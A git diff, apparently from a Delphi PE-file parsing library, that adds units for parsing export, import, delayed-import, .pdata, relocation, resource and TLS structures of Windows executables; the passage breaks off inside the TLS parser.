+unit PE.Msg; + +interface + +type + TMsgProc = procedure(Text: PWideChar); stdcall; + + TMsgMgr = record + private + FMsgProc: TMsgProc; + public + constructor Create(AMsgProc: TMsgProc); + + procedure Write(const AText: UnicodeString); overload; + procedure Write(const AFmt: UnicodeString; const AArgs: array of const); overload; + + procedure Write(const Category: string; AText: UnicodeString); overload; + procedure Write(const Category: string; AFmt: UnicodeString; const AArgs: array of const); overload; + end; + + PMsgMgr = ^TMsgMgr; + +implementation + +uses + SysUtils; + +{ TMessageMgr } + +procedure TMsgMgr.Write(const AText: UnicodeString); +begin + if Assigned(FMsgProc) then + FMsgProc(PWideChar(AText)); +end; + +constructor TMsgMgr.Create(AMsgProc: TMsgProc); +begin + FMsgProc := AMsgProc; +end; + +procedure TMsgMgr.Write(const AFmt: UnicodeString; const AArgs: array of const); +begin + Write(Format(AFmt, AArgs)); +end; + +procedure TMsgMgr.Write(const Category: string; AText: UnicodeString); +begin + write(Format('[%s] %s', [Category, AText])); +end; + +procedure TMsgMgr.Write(const Category: string; AFmt: UnicodeString; + const AArgs: array of const); +begin + write(Category, Format(AFmt, AArgs)); +end; + +end. diff --git a/Core/PE/PE.Parser.Export.pas b/Core/PE/PE.Parser.Export.pas new file mode 100755 index 0000000..87dcc04 --- /dev/null +++ b/Core/PE/PE.Parser.Export.pas @@ -0,0 +1,181 @@ +unit PE.Parser.Export; + +interface + +uses + PE.Common, + PE.Types, + PE.Types.Directories, + PE.Types.Export; + +type + TPEExportParser = class(TPEParser) + public + function Parse: TParserResult; override; + end; + +implementation + +uses + PE.Image, + PE.ExportSym; + +{ TPEExportParser } + +function TPEExportParser.Parse: TParserResult; +var + PE: TPEImage; + ExpIDD: TImageDataDirectory; + ExpDir: TImageExportDirectory; + i, base: uint32; + ordnl: uint16; + RVAs: array of uint32; + NamePointerRVAs: array of uint32; + OrdinalTableRVAs: array of uint16; + Exp: array of TPEExportSym; + Item: TPEExportSym; +begin + PE := TPEImage(FPE); + + // Clear exports. + PE.ExportSyms.Clear; + + // Get export dir. + if not PE.DataDirectories.Get(DDIR_EXPORT, @ExpIDD) then + exit(PR_OK); + + // No exports is ok. + if ExpIDD.IsEmpty then + exit(PR_OK); + + // If can't find Export dir, failure. + if not PE.SeekRVA(ExpIDD.VirtualAddress) then + exit(PR_ERROR); + + // If can't read whole table, failure. + if not PE.ReadEx(@ExpDir, Sizeof(ExpDir)) then + begin + PE.Msg.Write('Export Parser: not enough space to read dir. header.'); + exit(PR_ERROR); + end; + + // If no addresses, ok. + if ExpDir.AddressTableEntries = 0 then + begin + PE.Msg.Write('Export Parser: directory present, but there are no functions.'); + exit(PR_OK); + end; + + if ExpDir.ExportFlags <> 0 then + begin + PE.Msg.Write('Export Parser: reserved directory flags <> 0'); + exit(PR_ERROR); + end; + + // Read lib exported name. + if (ExpDir.NameRVA <> 0) then + begin + if not PE.SeekRVA(ExpDir.NameRVA) then + begin + PE.Msg.Write('Export Parser: Wrong RVA of dll exported name = 0x%x', [ExpDir.NameRVA]); + exit(PR_ERROR); + end; + PE.ExportedName := PE.ReadAnsiString; + end; + + base := ExpDir.OrdinalBase; + + // Check if there's too many exports. + if (ExpDir.AddressTableEntries >= SUSPICIOUS_MIN_LIMIT_EXPORTS) or + (ExpDir.NumberOfNamePointers >= SUSPICIOUS_MIN_LIMIT_EXPORTS) then + begin + exit(PR_SUSPICIOUS); + end; + + SetLength(Exp, ExpDir.AddressTableEntries); + SetLength(RVAs, ExpDir.AddressTableEntries); + + // load RVAs of exported data + if not(PE.SeekRVA(ExpDir.ExportAddressTableRVA) and + PE.ReadEx(@RVAs[0], 4 * ExpDir.AddressTableEntries)) then + exit(PR_ERROR); + + if ExpDir.NumberOfNamePointers <> 0 then + begin + // name/ordinal only + SetLength(NamePointerRVAs, ExpDir.NumberOfNamePointers); + SetLength(OrdinalTableRVAs, ExpDir.NumberOfNamePointers); + + // load RVAs of name pointers + if not((PE.SeekRVA(ExpDir.NamePointerRVA)) and + PE.ReadEx(@NamePointerRVAs[0], 4 * ExpDir.NumberOfNamePointers)) then + exit(PR_ERROR); + + // load ordinals according to names + if not((PE.SeekRVA(ExpDir.OrdinalTableRVA)) and + PE.ReadEx(@OrdinalTableRVAs[0], 2 * ExpDir.NumberOfNamePointers)) then + exit(PR_ERROR); + end; + + if ExpDir.AddressTableEntries <> 0 then + begin + for i := 0 to ExpDir.AddressTableEntries - 1 do + begin + Item := TPEExportSym.Create; + Item.Ordinal := i + base; + Item.RVA := RVAs[i]; + + Exp[i] := Item; + + // if rva in export section, it's forwarder + Exp[i].Forwarder := ExpIDD.Contain(RVAs[i]); + end; + end; + + // read names + if ExpDir.NumberOfNamePointers <> 0 then + begin + for i := 0 to ExpDir.NumberOfNamePointers - 1 do + begin + if (NamePointerRVAs[i] <> 0) then + begin + ordnl := OrdinalTableRVAs[i]; + + // Check if ordinal is correct. + if ordnl >= length(Exp) then + continue; + + if not Exp[ordnl].IsValid then + continue; + + // Read export name. + if not PE.SeekRVA(NamePointerRVAs[i]) then + exit(PR_ERROR); + + Exp[ordnl].Name := PE.ReadAnsiString; + + // Read forwarder, if it is. + if Exp[ordnl].Forwarder then + begin + // if it is forwarder, rva will point inside of export dir. + if not PE.SeekRVA(Exp[ordnl].RVA) then + exit(PR_ERROR); + Exp[ordnl].ForwarderName := PE.ReadAnsiString; + Exp[ordnl].RVA := 0; // no real address + end; + + end; + end; + end; + + // finally array to list + for i := low(Exp) to high(Exp) do + if Exp[i].IsValid then + PE.ExportSyms.Add(Exp[i]) + else + Exp[i].Free; + + exit(PR_OK); +end; + +end. diff --git a/Core/PE/PE.Parser.Headers.pas b/Core/PE/PE.Parser.Headers.pas new file mode 100755 index 0000000..ed3dc4d --- /dev/null +++ b/Core/PE/PE.Parser.Headers.pas @@ -0,0 +1,31 @@ +unit PE.Parser.Headers; + +interface + +uses + Classes, + + PE.Common, + PE.Types.DOSHeader, + PE.Types.FileHeader, + PE.Types.OptionalHeader, + PE.Types.NTHeaders, + + PE.Utils; + +function LoadDosHeader(AStream: TStream; out AHdr: TImageDOSHeader): boolean; +function LoadFileHeader(AStream: TStream; out AHdr: TImageFileHeader): boolean; inline; + +implementation + +function LoadDosHeader; +begin + Result := StreamRead(AStream, AHdr, SizeOf(AHdr)) and AHdr.e_magic.IsMZ; +end; + +function LoadFileHeader; +begin + Result := StreamRead(AStream, AHdr, SizeOf(AHdr)); +end; + +end. diff --git a/Core/PE/PE.Parser.Import.pas b/Core/PE/PE.Parser.Import.pas new file mode 100755 index 0000000..4139308 --- /dev/null +++ b/Core/PE/PE.Parser.Import.pas @@ -0,0 +1,234 @@ +unit PE.Parser.Import; + +interface + +uses + Generics.Collections, + SysUtils, + + PE.Common, + PE.Types, + PE.Types.Imports, + PE.Types.FileHeader, + PE.Imports, + PE.Imports.Func, + PE.Imports.Lib, + PE.Utils; + +type + TPEImportParser = class(TPEParser) + public + function Parse: TParserResult; override; + end; + +implementation + +uses + PE.Types.Directories, + PE.Image; + +{ TPEImportParser } + +function TPEImportParser.Parse: TParserResult; +type + TImpDirs = TList<TImportDirectoryTable>; + TILTs = TList<TImportLookupTable>; +var + dir: TImageDataDirectory; + bIs32: boolean; + dq: uint64; + sizet: byte; + IDir: TImportDirectoryTable; + IATRVA: uint64; + PATCHRVA: uint64; // place where loader will put new address + IDirs: TImpDirs; + ILT: TImportLookupTable; + ILTs: TILTs; + ImpFn: TPEImportFunction; + Lib: TPEImportLibrary; + PE: TPEImage; + LibraryName: string; + dwLeft: uint32; + bEmptyLastDirFound: boolean; + IDirNumber: integer; + TOffset : DWORD; +begin + TOffset := 0; + PE := TPEImage(FPE); + + result := PR_ERROR; + IDirs := TImpDirs.Create; + ILTs := TILTs.Create; + try + PE.Imports.Clear; + + bIs32 := PE.Is32bit; + sizet := PE.ImageBits div 8; + + // If no imports, it's ok. + if not PE.DataDirectories.Get(DDIR_IMPORT, @dir) then + exit(PR_OK); + if dir.IsEmpty then + exit(PR_OK); + + // Seek import dir. + if not PE.SeekRVA(dir.VirtualAddress) then + exit; + + // Read import descriptors. + dwLeft := dir.Size; + bEmptyLastDirFound := false; + while dwLeft >= sizeof(IDir) do + begin + // Read IDir. + if not PE.ReadEx(@IDir, sizeof(IDir)) then + exit; + + if IDir.IsEmpty then // it's last dir + begin + bEmptyLastDirFound := true; + break; + end; + + // Check RVA. + //if not(PE.RVAExists(IDir.OriginalFirstThunk)) then + //begin + // PE.Msg.Write(SCategoryImports, 'Bad RVAs in directory. Imports are incorrect.'); + // exit; + //end; + + IDirs.Add(IDir); // add read dir + + dec(dwLeft, sizeof(IDir)); + end; + + if IDirs.Count = 0 then + begin + PE.Msg.Write(SCategoryImports, 'No directories found.'); + exit; + end; + + if not bEmptyLastDirFound then + begin + PE.Msg.Write(SCategoryImports, 'No last (empty) directory found.'); + end; + + // Parse import descriptors. + IDirNumber := -1; + for IDir in IDirs do + begin + inc(IDirNumber); + + ILTs.Clear; + + // Read library name. + if (not PE.SeekRVA(IDir.NameRVA)) then + begin + PE.Msg.Write(SCategoryImports, 'Library name RVA not found (0x%x) for dir # %d.', [IDir.NameRVA, IDirNumber]); + Continue; + end; + + LibraryName := PE.ReadAnsiString; + + if LibraryName.IsEmpty then + begin + PE.Msg.Write(SCategoryImports, 'Library # %d has empty name.', [IDirNumber]); + Continue; + end; + + PATCHRVA := IDir.FirstThunk; + if PATCHRVA = 0 then + begin + PE.Msg.Write(SCategoryImports, 'Library # %d (%s) has NULL patch RVA.', [IDirNumber, LibraryName]); + break; + end; + + { + Check the value of OriginalFirstThunk. If it's not zero, + follow the RVA in OriginalFirstThunk to the RVA array. + If OriginalFirstThunk is zero, use the value in FirstThunk instead. + Some linkers generate PE files with 0 in OriginalFirstThunk. + This is considered a bug. Just to be on the safe side, + we check the value in OriginalFirstThunk first. + } + if (IDir.OriginalFirstThunk = 0) or (not IDir.IsBound) then + IATRVA := IDir.ImportAddressTable + else + IATRVA := IDir.ImportLookupTableRVA; + + if IATRVA = 0 then + begin + PE.Msg.Write(SCategoryImports, 'Library # %d (%s) has NULL IAT RVA.', [IDirNumber, LibraryName]); + break; + end; + + // Lib will be created just in time. + Lib := nil; + + // Read IAT elements. + while PE.SeekRVA(IATRVA) do + begin + if not PE.ReadWordEx(0, @dq) then + begin + // Failed to read word and not null yet reached. + if Lib <> nil then + FreeAndNil(Lib); + PE.Msg.Write(SCategoryImports, 'Bad directory # %d. Skipped.', [IDirNumber]); + break; + end; + + if dq = 0 then + break; + + ILT.Create(dq, bIs32); + + ImpFn := TPEImportFunction.CreateEmpty; + + // By ordinal. + if ILT.IsImportByOrdinal then + begin + ImpFn.Ordinal := ILT.OrdinalNumber; + ImpFn.Name := ''; + end + else + if PE.SeekRVA(ILT.HintNameTableRVA) then // By name. + begin + dq := 0; + PE.ReadEx(@dq, 2); // skip Hint + ImpFn.Name := PE.ReadAnsiString; + end; + + + if not assigned(Lib) then + begin + // Create lib once in loop. + // Added after loop (if not discarded). + Lib := TPEImportLibrary.Create(LibraryName, IDir.IsBound, True); + Lib.TimeDateStamp := IDir.TimeDateStamp; + if IDir.IsBound then + Lib.IatRva := IDir.ImportAddressTable + else + Lib.IatRva := IATRVA; + end; + + Lib.Functions.Add(ImpFn); + + inc(IATRVA, sizet); // next item + inc(PATCHRVA, sizet); + end; + + // If lib is generated, add it. + if assigned(Lib) then + PE.Imports.Add(Lib); + + end; + + result := PR_OK; + + finally + IDirs.Free; + ILTs.Free; + end; +end; + +end. diff --git a/Core/PE/PE.Parser.ImportDelayed.pas b/Core/PE/PE.Parser.ImportDelayed.pas new file mode 100755 index 0000000..8baf8b7 --- /dev/null +++ b/Core/PE/PE.Parser.ImportDelayed.pas @@ -0,0 +1,212 @@ +unit PE.Parser.ImportDelayed; + +interface + +uses + Generics.Collections, + SysUtils, + + PE.Common, + PE.Imports, + PE.Types, + PE.Types.Directories, + PE.Types.FileHeader, // expand TPEImage.Is32bit + PE.Types.Imports, + PE.Types.ImportsDelayed, + PE.Utils; + +type + TPEImportDelayedParser = class(TPEParser) + public + function Parse: TParserResult; override; + end; + +implementation + +uses + PE.Image, + PE.Imports.Func, + PE.Imports.Lib; + +// Testing mode: check if read fields are correct. +function ParseTable( + const PE: TPEImage; + const Table: TDelayLoadDirectoryTable; + Testing: boolean + ): boolean; +var + DllName: string; + FnName: string; + Fn: TPEImportFunctionDelayed; + HintNameRva: TRVA; + Ilt: TImportLookupTable; + iFunc: uint32; +var + iLen: integer; + Ordinal: UInt16; + Hint: UInt16 absolute Ordinal; + Iat: TRVA; + SubValue: uint32; + Lib: TPEImportLibrary; +begin + if Table.UsesVA then + SubValue := PE.ImageBase + else + SubValue := 0; + + if Testing then + begin + if (Table.Name = 0) or (Table.Name < SubValue) then + begin + PE.Msg.Write('Delayed Import: Name address incorrect.'); + exit(false); + end; + + if (Table.DelayImportNameTable = 0) or (Table.DelayImportNameTable < SubValue) then + begin + PE.Msg.Write('Delayed Import: Name table address incorrect.'); + exit(false); + end; + + if (Table.DelayImportAddressTable = 0) or (Table.DelayImportAddressTable < SubValue) then + begin + PE.Msg.Write('Delayed Import: Address table incorrect.'); + exit(false); + end; + end; + + if not PE.SeekRVA(Table.Name - SubValue) then + exit(false); + + if not PE.ReadAnsiStringLen(MAX_PATH_WIN, iLen, DllName) then + exit(false); + + if not Testing then + begin + Lib := TPEImportLibrary.Create(DllName, False, True); + PE.ImportsDelayed.Add(Lib); + end + else + begin + Lib := nil; // compiler friendly + end; + + iFunc := 0; + Iat := Table.DelayImportAddressTable - SubValue; + + while PE.SeekRVA(Table.DelayImportNameTable - SubValue + iFunc * PE.ImageWordSize) do + begin + HintNameRva := PE.ReadWord(); + if HintNameRva = 0 then + break; + + Ilt.Create(HintNameRva, PE.Is32bit); + + Ordinal := 0; + FnName := ''; + + if Ilt.IsImportByOrdinal then + begin + // Import by ordinal only. No hint/name. + Ordinal := Ilt.OrdinalNumber; + end + else + begin + // Import by name. Get hint/name + if not PE.SeekRVA(HintNameRva - SubValue) then + begin + PE.Msg.Write('Delayed Import: incorrect Hint/Name RVA encountered.'); + exit(false); + end; + + Hint := PE.ReadWord(2); + FnName := PE.ReadANSIString; + end; + + if not Testing then + begin + Fn := TPEImportFunctionDelayed.Create(FnName, Ordinal); + Lib.Functions.Add(Fn); + end; + + inc(Iat, PE.ImageWordSize); + inc(iFunc); + end; + + exit(true); +end; + +function TPEImportDelayedParser.Parse: TParserResult; +var + PE: TPEImage; + ddir: TImageDataDirectory; + ofs: uint32; + Table: TDelayLoadDirectoryTable; + Tables: TList<TDelayLoadDirectoryTable>; + TablesUseRVA: boolean; +begin + PE := TPEImage(FPE); + + result := PR_ERROR; + + // If no imports, it's ok. + if not PE.DataDirectories.Get(DDIR_DELAYIMPORT, @ddir) then + exit(PR_OK); + if ddir.IsEmpty then + exit(PR_OK); + + // Seek import dir. + if not PE.SeekRVA(ddir.VirtualAddress) then + exit; + + Tables := TList<TDelayLoadDirectoryTable>.Create; + try + + // Delay-load dir. tables. + ofs := 0; + TablesUseRVA := true; // default, compiler-friendly + while true do + begin + if ofs > ddir.Size then + exit(PR_ERROR); + + if not PE.ReadEx(Table, SizeOf(Table)) then + break; + + if Table.Empty then + break; + + // Attribute: + // 0: addresses are VA (old VC6 binaries) + // 1: addresses are RVA + + if (ofs = 0) then + begin + TablesUseRVA := Table.UsesRVA; // initialize once + end + else if TablesUseRVA <> Table.UsesRVA then + begin + // Normally all tables must use either VA or RVA. No mix allowed. + // If mix found it must be not real table. + // For example, some Delphi versions used such optimization. + break; + end; + + Tables.Add(Table); + inc(ofs, SizeOf(Table)); + end; + + // Parse tables. + for Table in Tables do + // First test if fields are correct + if ParseTable(PE, Table, true) then + // Then do real reading. + ParseTable(PE, Table, false); + + exit(PR_OK); + finally + Tables.Free; + end; +end; + +end. diff --git a/Core/PE/PE.Parser.PData.pas b/Core/PE/PE.Parser.PData.pas new file mode 100755 index 0000000..f2fb822 --- /dev/null +++ b/Core/PE/PE.Parser.PData.pas @@ -0,0 +1,228 @@ +(* + .pdata section parser +*) +unit PE.Parser.PData; + +interface + +uses + PE.Image, + PE.Section, + PE.Sections, + PE.Types.FileHeader, + PE.Types.Sections; + +{ http://msdn.microsoft.com/en-us/library/ms864326.aspx } + +type + PDATA_EH = packed record + // OS Versions: Windows CE .NET 4.0 and later. + // Header: no public definition. + pHandler: uint32; // Address of the exception handler for the function. + pHandlerData: uint32; // Address of the exception handler data record for the function. + end; + + { 5.5. The .pdata Section } + +type + { 32-bit MIPS images } + TPDATA_MIPS32 = packed record + // The VA of the corresponding function. + BeginAddress: uint32; + + // The VA of the end of the function. + EndAddress: uint32; + + // The pointer to the exception handler to be executed. + ExceptionHandler: uint32; + + // The pointer to additional information to be passed to the handler. + HandlerData: uint32; + + // The VA of the end of the functions prolog. + PrologEndAddress: uint32; + end; + + PPDATA_MIPS32 = ^TPDATA_MIPS32; + + { ARM, PowerPC, SH3 and SH4 Windows CE platforms } + TPDATA_ARM = packed record + strict private + _BeginAddress: uint32; + _DATA: uint32; + public + // The VA of the corresponding function. + function BeginAddress: uint32; inline; + + // 8 bit: The number of instructions in the functions prolog. + function PrologLength: uint8; inline; + + // 22 bit: The number of instructions in the function. + function FunctionLength: uint32; inline; + + // 1 bit: If set, the function consists of 32-bit instructions. + // If clear, the function consists of 16-bit instructions. + function Is32Bit: boolean; inline; + + // 1 bit: If set, an exception handler exists for the function. + // Otherwise, no exception handler exists. + function IsExceptionFlag: boolean; inline; + + function IsEmpty: boolean; inline; + + end; + + PPDATA_ARM = ^TPDATA_ARM; + + { For x64 and Itanium platforms } + TPDATA_x64 = packed record + BeginAddress: uint32; // The RVA of the corresponding function. + EndAddress: uint32; // The RVA of the end of the function. + UnwindInformation: uint32; // The RVA of the unwind information. + end; + + PPDATA_x64 = ^TPDATA_x64; + + { For the ARMv7 platform } + TPDATA_ARMv7 = packed record + // The RVA of the corresponding function. + BeginAddress: uint32; + + // The RVA of the unwind information, including function length. + // If the low 2 bits are non-zero, then this word represents a compacted + // inline form of the unwind information, including function length. + UnwindInformation: uint32; + end; + + PPDATA_ARMv7 = ^TPDATA_ARMv7; + +type + TPDATAType = (pdata_NONE, pdata_MIPS32, pdata_ARM, pdata_x64, pdata_ARMv7); + + TPDATAItem = record + function IsEmpty: boolean; inline; + procedure Clear; inline; + public + case TPDATAType of + pdata_NONE: + (BeginAddress: uint32); // common field, can be RVA or VA + pdata_MIPS32: + (MIPS32: TPDATA_MIPS32); + pdata_ARM: + (ARM: TPDATA_ARM); + pdata_x64: + (x64: TPDATA_x64); + pdata_ARMv7: + (ARMv7: TPDATA_ARMv7); + end; + +type + TPDATAItems = array of TPDATAItem; + + // Parses .PDATA section (if exists) and returns count of elements found +function ParsePDATA(PE: TPEImage; out &Type: TPDATAType; out Items: TPDATAItems): integer; + +implementation + +{ TPDATA_ARM } + +function TPDATA_ARM.BeginAddress: uint32; +begin + result := _BeginAddress; +end; + +function TPDATA_ARM.FunctionLength: uint32; +begin + result := (_DATA shr 8) and ((1 shl 22) - 1); +end; + +function TPDATA_ARM.Is32Bit: boolean; +begin + result := _DATA and (1 shl 30) <> 0; +end; + +function TPDATA_ARM.IsEmpty: boolean; +begin + result := (_BeginAddress = 0) or (_DATA = 0); +end; + +function TPDATA_ARM.IsExceptionFlag: boolean; +begin + result := _DATA and (1 shl 31) <> 0; +end; + +function TPDATA_ARM.PrologLength: uint8; +begin + result := byte(_DATA); +end; + +{ ParsePDATA } + +function ParsePDATA(PE: TPEImage; out &Type: TPDATAType; out Items: TPDATAItems): integer; +var + sec: TPESection; + i, Cnt, Size, Actual: uint32; +begin + SetLength(Items, 0); + + Size := 0; + &Type := pdata_NONE; + + sec := PE.Sections.FindByName('.pdata'); + + if + (sec <> nil) and + (sec.RawSize > 0) and + ((sec.flags and IMAGE_SCN_CNT_INITIALIZED_DATA) <> 0) and + ((sec.flags and IMAGE_SCN_MEM_READ) <> 0) and + (PE.SeekRVA(sec.RVA)) then + begin + // Load. + case PE.FileHeader^.Machine of + IMAGE_FILE_MACHINE_ARM, IMAGE_FILE_MACHINE_THUMB: + begin + Size := sizeof(TPDATA_ARM); + &Type := pdata_ARM; + end; + IMAGE_FILE_MACHINE_AMD64: + begin + Size := sizeof(TPDATA_x64); + &Type := pdata_x64; + end; + end; + + if &Type <> pdata_NONE then + begin + Cnt := sec.VirtualSize div Size; + Actual := 0; + SetLength(Items, Cnt); // pre-allocate + if Cnt <> 0 then + begin + for i := 0 to Cnt - 1 do + begin + if (not PE.ReadEx(@Items[i], Size)) or (Items[i].IsEmpty) then + break; + inc(Actual); + end; + end; + if Actual <> Cnt then + SetLength(Items, Actual); // trim + end; + end; + + result := Length(Items); +end; + +{ TPDATAItem } + +procedure TPDATAItem.Clear; +begin + FillChar(self, sizeof(self), 0); +end; + +function TPDATAItem.IsEmpty: boolean; +begin + result := self.BeginAddress = 0; +end; + +end. diff --git a/Core/PE/PE.Parser.Relocs.pas b/Core/PE/PE.Parser.Relocs.pas new file mode 100755 index 0000000..7c249a2 --- /dev/null +++ b/Core/PE/PE.Parser.Relocs.pas @@ -0,0 +1,106 @@ +unit PE.Parser.Relocs; + +interface + +uses + PE.Common, + PE.Types, + PE.Types.Directories, + PE.Types.Relocations; + +type + TPERelocParser = class(TPEParser) + public + function Parse: TParserResult; override; + end; + +implementation + +uses + PE.Image; + +{ TRelocParser } + +function TPERelocParser.Parse: TParserResult; +var + dir: TImageDataDirectory; + block: TBaseRelocationBlock; + blCnt, iBlock: Integer; + entry: TBaseRelocationEntry; + r_ofs, r_type: dword; + r_rva: dword; + Ofs: dword; + reloc: TReloc; + PE: TPEImage; +var + tmpRVA: TRVA; +begin + PE := TPEImage(FPE); + PE.Relocs.Clear; + + if not PE.DataDirectories.Get(DDIR_RELOCATION, @dir) then + exit(PR_OK); + + if dir.IsEmpty then + exit(PR_OK); + + if not PE.SeekRVA(dir.VirtualAddress) then + begin + PE.Msg.Write(SCategoryRelocs, 'Bad directory RVA (0x%x)', [dir.VirtualAddress]); + exit(PR_ERROR); + end; + + Ofs := 0; + + while (Ofs < dir.Size) do + begin + tmpRVA := PE.PositionRVA; + + if (not PE.ReadEx(@block, SizeOf(block))) then + break; + + if Assigned(PE.ParseCallbacks) then + PE.ParseCallbacks.ParsedRelocationBlockHeader(tmpRVA, block); + + if block.IsEmpty then + break; + + inc(Ofs, SizeOf(block)); + + if block.BlockSize < SizeOf(TBaseRelocationBlock) then + begin + PE.Msg.Write(SCategoryRelocs, 'Bad size of block (%d).', [block.BlockSize]); + continue; + end; + + blCnt := block.Count; + + for iBlock := 0 to blCnt - 1 do + begin + if (Ofs + SizeOf(entry)) > dir.Size then + begin + PE.Msg.Write(SCategoryRelocs, 'Relocation is out of table. PageRVA:0x%x #:%d', [block.PageRVA, iBlock]); + PE.Msg.Write(SCategoryRelocs, 'Skipping next relocs.'); + exit(PR_OK); + end; + + if not PE.ReadEx(@entry, SizeOf(entry)) then + exit(PR_ERROR); + + inc(Ofs, SizeOf(entry)); + r_type := entry.GetType; + r_ofs := entry.GetOffset; + r_rva := r_ofs + block.PageRVA; + if r_type <> IMAGE_REL_BASED_ABSOLUTE then + begin + reloc.RVA := r_rva; + reloc.&Type := r_type; + PE.Relocs.Put(reloc); + end; + end; + end; + + exit(PR_OK); +end; + +end. diff --git a/Core/PE/PE.Parser.Resources.pas b/Core/PE/PE.Parser.Resources.pas new file mode 100755 index 0000000..1d1936e --- /dev/null +++ b/Core/PE/PE.Parser.Resources.pas @@ -0,0 +1,228 @@ +unit PE.Parser.Resources; + +interface + +uses + SysUtils, + PE.Common, + PE.Types, + PE.Types.Directories, + PE.Types.Resources, + PE.Resources; + +type + TPEResourcesParser = class(TPEParser) + protected + FBaseRVA: TRVA; // RVA of RSRC section base + FTree: TResourceTree; + + // Read resource node entry. + function ReadEntry( + ParentNode: TResourceTreeBranchNode; + RVA: TRVA; + Index: integer; + RDT: PResourceDirectoryTable): TResourceTreeNode; + + // Read resource node. + function ReadNode( + ParentNode: TResourceTreeBranchNode; + RVA: TRVA): TParserResult; + + function LogInvalidResourceSizesTraverse(Node: TResourceTreeNode): boolean; + procedure LogInvalidResourceSizes; + public + function Parse: TParserResult; override; + end; + +implementation + +uses + PE.Image; + +{ TPEResourcesParser } + +procedure TPEResourcesParser.LogInvalidResourceSizes; +begin + FTree.Root.Traverse(LogInvalidResourceSizesTraverse); +end; + +function TPEResourcesParser.LogInvalidResourceSizesTraverse(Node: TResourceTreeNode): boolean; +begin + if Node.IsLeaf then + if not TResourceTreeLeafNode(Node).ValidSize then + TPEImage(FPE).Msg.Write(SCategoryResources, 'Bad size of resource (probably packed): %s', [Node.GetPath]); + + Result := True; +end; + +function TPEResourcesParser.Parse: TParserResult; +var + Img: TPEImage; + dir: TImageDataDirectory; +begin + Img := TPEImage(FPE); + + // Check if directory present. + if not Img.DataDirectories.Get(DDIR_RESOURCE, @dir) then + exit(PR_OK); + + if dir.IsEmpty then + exit(PR_OK); + + // Store base RVA. + FBaseRVA := dir.VirtualAddress; + + // Try to seek resource dir. + if not Img.SeekRVA(FBaseRVA) then + exit(PR_ERROR); + + // Read root and children. + FTree := Img.ResourceTree; + ReadNode(FTree.Root, FBaseRVA); + + // Log invalid leaf nodes. + LogInvalidResourceSizes; + + exit(PR_OK); +end; + +function TPEResourcesParser.ReadEntry( + ParentNode: TResourceTreeBranchNode; + RVA: TRVA; + Index: integer; + RDT: PResourceDirectoryTable): TResourceTreeNode; +var + Img: TPEImage; + Entry: TResourceDirectoryEntry; + DataEntry: TResourceDataEntry; + SubRVA, DataRVA, NameRVA: TRVA; + LeafNode: TResourceTreeLeafNode; + BranchNode: TResourceTreeBranchNode; + EntryName: string; +begin + Result := nil; + Img := TPEImage(FPE); + + // Try to read entry. + if not Img.SeekRVA(RVA + Index * SizeOf(Entry)) then + begin + Img.Msg.Write(SCategoryResources, 'Bad resource entry RVA.'); + exit; + end; + + if not Img.ReadEx(@Entry, SizeOf(Entry)) then + begin + Img.Msg.Write(SCategoryResources, 'Bad resource entry.'); + exit; + end; + + // Prepare entry name. + EntryName := ''; + if Entry.EntryType = ResourceEntryByName then + begin + NameRVA := FBaseRVA + Entry.NameRVA; + if not Img.SeekRVA(NameRVA) then + begin + Img.Msg.Write(SCategoryResources, 'Bad entry name RVA (0x%x)', [NameRVA]); + exit; + end; + EntryName := Img.ReadUnicodeStringLenPfx2; + end; + + // Check if RVA of child is correct. + DataRVA := Entry.DataEntryRVA + FBaseRVA; + if not Img.RVAExists(DataRVA) then + begin + Img.Msg.Write(SCategoryResources, 'Bad entry RVA (0x%x)', [DataRVA]); + exit; + end; + + // Handle Leaf or Branch. + if Entry.IsDataEntryRVA then + begin + { + Leaf node + } + + DataRVA := Entry.DataEntryRVA + FBaseRVA; + if not(Img.SeekRVA(DataRVA) and Img.ReadEx(@DataEntry, SizeOf(DataEntry))) then + begin + Img.Msg.Write(SCategoryResources, 'Bad resource leaf node.'); + exit; + end; + LeafNode := TResourceTreeLeafNode.CreateFromEntry(FPE, DataEntry); + Result := LeafNode; + end + else + begin + { + Branch Node. + } + + // Alloc and fill node. + BranchNode := TResourceTreeBranchNode.Create; + if RDT <> nil then + begin + BranchNode.Characteristics := RDT^.Characteristics; + BranchNode.TimeDateStamp := RDT^.TimeDateStamp; + BranchNode.MajorVersion := RDT^.MajorVersion; + BranchNode.MinorVersion := RDT^.MinorVersion; + end; + // Get sub-level RVA. + SubRVA := Entry.SubdirectoryRVA + FBaseRVA; + // Read children. + ReadNode(BranchNode, SubRVA); + Result := BranchNode; + end; + + // Set id or name. + if Entry.EntryType = ResourceEntryById then + Result.Id := Entry.IntegerID + else + Result.Name := EntryName; + + // Add node. + ParentNode.Add(Result); +end; + +function TPEResourcesParser.ReadNode(ParentNode: TResourceTreeBranchNode; RVA: TRVA): TParserResult; +var + Img: TPEImage; + RDT: TResourceDirectoryTable; + i, Total: integer; +begin + Img := TPEImage(FPE); + + if not Img.SeekRVA(RVA) then + begin + Img.Msg.Write(SCategoryResources, 'Bad resource directory table RVA (0x%x)', [RVA]); + exit(PR_ERROR); + end; + + // Read Directory Table. + if not Img.ReadEx(@RDT, SizeOf(RDT)) then + begin + Img.Msg.Write(SCategoryResources, 'Failed to read resource directory table.'); + exit(PR_ERROR); + end; + + inc(RVA, SizeOf(RDT)); + + if (RDT.NumberOfNameEntries = 0) and (RDT.NumberOfIDEntries = 0) then + begin + Img.Msg.Write(SCategoryResources, 'Node have no name/id entries.'); + exit(PR_ERROR); + end; + + // Total number of entries. + Total := RDT.NumberOfNameEntries + RDT.NumberOfIDEntries; + + // Read entries. + for i := 0 to Total - 1 do + if ReadEntry(ParentNode, RVA, i, @RDT) = nil then + exit(PR_ERROR); + + exit(PR_OK); +end; + +end. diff --git a/Core/PE/PE.Parser.TLS.pas b/Core/PE/PE.Parser.TLS.pas new file mode 100755 index 0000000..da55ccf --- /dev/null +++ b/Core/PE/PE.Parser.TLS.pas @@ -0,0 +1,115 @@ +unit PE.Parser.TLS; + +interface + +uses + SysUtils, + + PE.Common, + PE.Types, + PE.Types.Directories, + PE.Types.TLS, + PE.TLS; + +type + TPETLSParser = class(TPEParser) + public + function Parse: TParserResult; override; + end; + +implementation + +uses + PE.Image; + +{ TPETLSParser } + +function TPETLSParser.Parse: TParserResult; +var + PE: TPEImage; +var + Dir: TImageDataDirectory; + TLSDir: TTLSDirectory; + AddressofCallbacks: TVA; + CurRVA, CallbackVA: uint64; + bRead: boolean; +begin + PE := TPEImage(FPE); + + if not PE.DataDirectories.Get(DDIR_TLS, @Dir) then + exit(PR_OK); + if Dir.IsEmpty then + 